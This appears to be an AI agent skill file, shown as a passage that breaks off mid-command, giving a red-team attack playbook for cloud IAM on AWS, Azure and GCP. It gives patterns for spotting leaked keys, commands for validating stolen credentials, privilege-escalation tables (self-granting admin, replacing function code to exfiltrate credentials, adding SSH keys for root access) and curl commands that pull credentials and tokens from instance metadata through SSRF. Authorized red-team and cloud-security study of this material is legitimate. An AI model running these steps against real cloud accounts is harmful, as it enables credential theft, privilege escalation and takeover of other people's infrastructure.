cloud-iam-deep

--- name: cloud-iam-deep description: Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain. sources: aws-iam-docs, azure-rbac-docs, gcp-iam-docs, hackingthe.cloud, pacu, peirates, prowler, rhinosecuritylabs_research, hackerone_public report_count: 6 ---

## When to use

Trigger when: - A cloud credential surfaces (key, secret, token, JSON file) - SSRF chain reaches IMDS / metadata endpoint - APK / git-leak reveals embedded cloud key - Recon shows public S3/GCS/Azure-blob with permissions you can verify - A Kubernetes API or service-account token is exposed - Post-RCE on a cloud-hosted instance — pivot to cloud control plane

Do NOT use for: - On-prem-only environments (use AD attack skills — but those are out of scope per external-only boundary) - Web2 vulns that happen to be on AWS — use the relevant `hunt-*` skill

---

## Credential identification (first 60 seconds)

```bash # AWS access key patterns AKIA[0-9A-Z]{16} # IAM user access key (long-term) ASIA[0-9A-Z]{16} # STS temporary credential AGPA[0-9A-Z]{16} # IAM group AIDA[0-9A-Z]{16} # IAM user (user-id) AROA[0-9A-Z]{16} # IAM role ANPA[0-9A-Z]{16} # Managed policy

# AWS secret pattern (40-char base64-ish — context required) [A-Za-z0-9/+=]{40} # AWS secret access key

# Azure AccountKey=[A-Za-z0-9+/=]{86} # Storage account key client_secret pattern + UUID # Azure AD app credential

# GCP service account JSON { "type": "service_account", "project_id": "...", "private_key_id": "...", "private_key": "-----BEGIN PRIVATE KEY-----..." }

# K8s SA token (JWT format — decode to confirm) eyJhbGciOiJSUzI1... # decode kid claim to see issuer ```

---

## AWS — read-only validation (the safe first step)

```bash # Set credential export AWS_ACCESS_KEY_ID="AKIA..." export AWS_SECRET_ACCESS_KEY="..."

# 1. WHO am I? aws sts get-caller-identity # Returns: UserId, Account, Arn # Arn tells you: IAM user vs role, account ID, name

# 2. WHAT can I do? (the privesc question) # Try common read-only first — failures still inform you aws iam list-users 2>&1 | head -5 aws iam list-roles 2>&1 | head -5 aws iam list-policies 2>&1 | head -5 aws iam list-groups 2>&1 | head -5

# 3. WHAT policies are attached to me? aws iam list-attached-user-policies --user-name <self> aws iam list-user-policies --user-name <self> # inline policies aws iam list-groups-for-user --user-name <self>

# 4. Service-by-service surface aws ec2 describe-instances --max-items 1 2>&1 | head aws s3 ls 2>&1 | head -10 aws lambda list-functions --max-items 5 2>&1 | head aws rds describe-db-instances --max-items 5 2>&1 | head aws secretsmanager list-secrets --max-results 5 2>&1 | head aws ssm describe-parameters --max-results 5 2>&1 | head

# 5. Audit any cross-account / external trust aws iam list-roles --query 'Roles[?contains(AssumeRolePolicyDocument.Statement[0].Principal.AWS, `arn:aws:iam::`)]' 2>&1 | head -20 ```

---

## AWS privesc patterns (24+ documented — `iam_privesc` techniques)

Quick lookup — if you have any of these IAM actions, escalate via the listed technique:

| You have | Escalate via | |---|---| | `iam:CreateAccessKey` | Create access key on any user → impersonate | | `iam:CreateLoginProfile` | Set a console password on a user → login | | `iam:UpdateLoginProfile` | Reset console password on a user | | `iam:AttachUserPolicy` | Attach AdministratorAccess to self | | `iam:AttachGroupPolicy` | Attach AdministratorAccess to a group you're in | | `iam:AttachRolePolicy` + sts:AssumeRole | Attach to a role you can assume | | `iam:PutUserPolicy` | Inline AdministratorAccess to self | | `iam:PutGroupPolicy` | Inline policy on a group | | `iam:PutRolePolicy` | Inline on a role you can assume | | `iam:AddUserToGroup` | Add self to admin group | | `iam:UpdateAssumeRolePolicy` + sts:AssumeRole | Modify trust to allow self | | `iam:CreatePolicyVersion` | Create v2 of an attached policy with admin | | `iam:SetDefaultPolicyVersion` | Switch attached policy to admin version | | `iam:PassRole` + ec2:RunInstances | Launch EC2 as admin role → use instance creds | | `iam:PassRole` + lambda:CreateFunction/InvokeFunction | Run code as admin role | | `iam:PassRole` + cloudformation:CreateStack | CF stack creates resources as admin | | `iam:PassRole` + glue:CreateDevEndpoint | Notebook runs as admin role | | `iam:PassRole` + datapipeline | Pipeline runs as admin role | | `iam:PassRole` + codestar:CreateProject | New project gets admin role | | `ec2:RunInstances` (with admin instance profile already on the AMI) | Spin instance, exfil creds from IMDS | | `lambda:UpdateFunctionCode` (function has admin role) | Replace code → exfil creds | | `lambda:UpdateFunctionConfiguration` | Add layer / env var that exfils | | `cloudformation:UpdateStack` | Modify stack to grant self admin | | `sts:AssumeRole` (where trust allows you) | Direct privilege jump |

Many of the destructive ones are out-of-scope for an external red-team; document the path, don't always execute.

---

## AWS — STS / cross-account / role chaining

```bash # Enumerate roles you can assume across accounts aws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output json > /tmp/roles.json # Parse for "Principal.AWS" containing different account IDs

# Assume a role aws sts assume-role --role-arn "arn:aws:iam::OTHER_ACCT:role/CrossAccountRole" --role-session-name "rt-1"

# Set new creds export AWS_ACCESS_KEY_ID="ASIA..." export AWS_SECRET_ACCESS_KEY="..." export AWS_SESSION_TOKEN="..."

# Verify aws sts get-caller-identity # should now show OTHER_ACCT

# Re-enumerate from new identity (chain continues) ```

**Confused-deputy pattern:** look for `sts:ExternalId` missing or trust policies that allow `arn:aws:iam::*:role/*`. If `ExternalId` is not required, anyone can assume the role.

---

## AWS IMDSv1 / IMDSv2 abuse via SSRF

```bash # IMDSv1 (legacy, still common — straight GET): curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Returns role name → fetch creds: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name> # JSON with AccessKeyId, SecretAccessKey, Token, Expiration

# IMDSv2 (requires PUT to get a token first — usually mitigates SSRF): curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" TOKEN=... curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/

# SSRF bypass for IMDSv2: # Most server-side fetchers don't issue PUT requests → IMDSv2 blocks them. # Exception: SSRF in functions that themselves perform requests with custom headers. ```

---

## Azure — credential validation

```bash # Login with a credential az login --service-principal -u <appId> -p <password> --tenant <tenantId> # OR with managed identity (from inside Azure VM) az login --identity

# Who am I? az account show

# Subscriptions az account list --output table

# Role assignments (Azure RBAC) az role assignment list --assignee <objectId> --all az role assignment list --all --query '[?principalId==`<objectId>`]' --output table

# Resources I can read az resource list --output table | head -30 az storage account list --output table az keyvault list --output table az vm list --output table ```

---

## Azure — Managed Identity abuse

```bash # From inside Azure VM (post-RCE or SSRF to IMDS-equivalent): # Endpoint: http://169.254.169.254/metadata/identity/oauth2/token curl -H "Metadata: true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# Returns access_token for the Managed Identity. Use: TOKEN="..." curl -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions?api-version=2020-01-01"

# Get token for Key Vault curl -H "Metadata: true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net"

# Get token for Graph curl -H "Metadata: true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com" # → If Managed Identity has Graph permissions, read all M365 data ```

---

## Azure privesc patterns

| You have | Escalate via | |---|---| | `Microsoft.Authorization/roleAssignments/write` on tenant | Self-assign Owner | | `Microsoft.Authorization/roleDefinitions/write` | Modify role def to add powers | | `Microsoft.Compute/virtualMachines/runCommand/action` | Run command on VM (with VM's MI) | | `Microsoft.KeyVault/vaults/secrets/getSecret/action` | Read all KV secrets | | `Microsoft.Storage/storageAccounts/listkeys/action` | Read all storage blobs | | `Microsoft.Web/sites/publishxml/action` | Get publish profile → RCE on app | | `Microsoft.Web/sites/host/listkeys/action` | Func app key → RCE via function trigger | | `Microsoft.AAD.Directory.* (App reg) + RoleManagement.ReadWrite.Directory` | Grant self Global Admin |

---

## GCP — service account JSON

```bash # Activate gcloud auth activate-service-account --key-file=sa-leaked.json

# Who am I? gcloud auth list gcloud config get-value account gcloud config get-value project

# What roles does this SA have? (project-level only — not org-level) gcloud projects get-iam-policy <projectId> \ --flatten="bindings[].members" \ --format="table(bindings.role)" \ --filter="bindings.members:<sa-email>"

# Service-by-service: gcloud compute instances list 2>&1 | head gcloud storage buckets list 2>&1 | head gcloud secrets list 2>&1 | head gcloud functions list 2>&1 | head gcloud sql instances list 2>&1 | head gcloud container clusters list 2>&1 | head ```

---

## GCP privesc patterns

| You have | Escalate via | |---|---| | `iam.serviceAccounts.getAccessToken` on higher-priv SA | Get token for that SA | | `iam.serviceAccounts.implicitDelegation` | Chain through delegate SAs | | `iam.serviceAccounts.signBlob` / `signJwt` on higher SA | Forge JWT for that SA | | `iam.serviceAccountKeys.create` | Create new key for any SA → impersonate | | `iam.serviceAccounts.setIamPolicy` | Grant self impersonation rights | | `iam.roles.update` (on custom role) | Add admin permissions to a role you have | | `cloudfunctions.functions.update` (function runs as high-priv SA) | Replace code → exfil creds | | `cloudfunctions.functions.call` + above | Trigger replacement | | `compute.instances.setMetadata` | Add ssh-keys metadata → SSH as root | | `compute.instances.setServiceAccount` | Attach higher-priv SA to instance | | `cloudbuild.builds.create` (build runs as project SA) | Build executes attacker code | | `deploymentmanager.deployments.create` | Resources created as DM SA |

---

## GCP IMDS attack (via SSRF or post-RCE)

```bash # GCP IMDS endpoint: curl -H "Metadata-Flavor: Google" \ "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Returns access token. Use: TOKEN=... curl -H "Authorization: Bearer $TOKEN" \ "https://cloudresourcemanager.googleapis.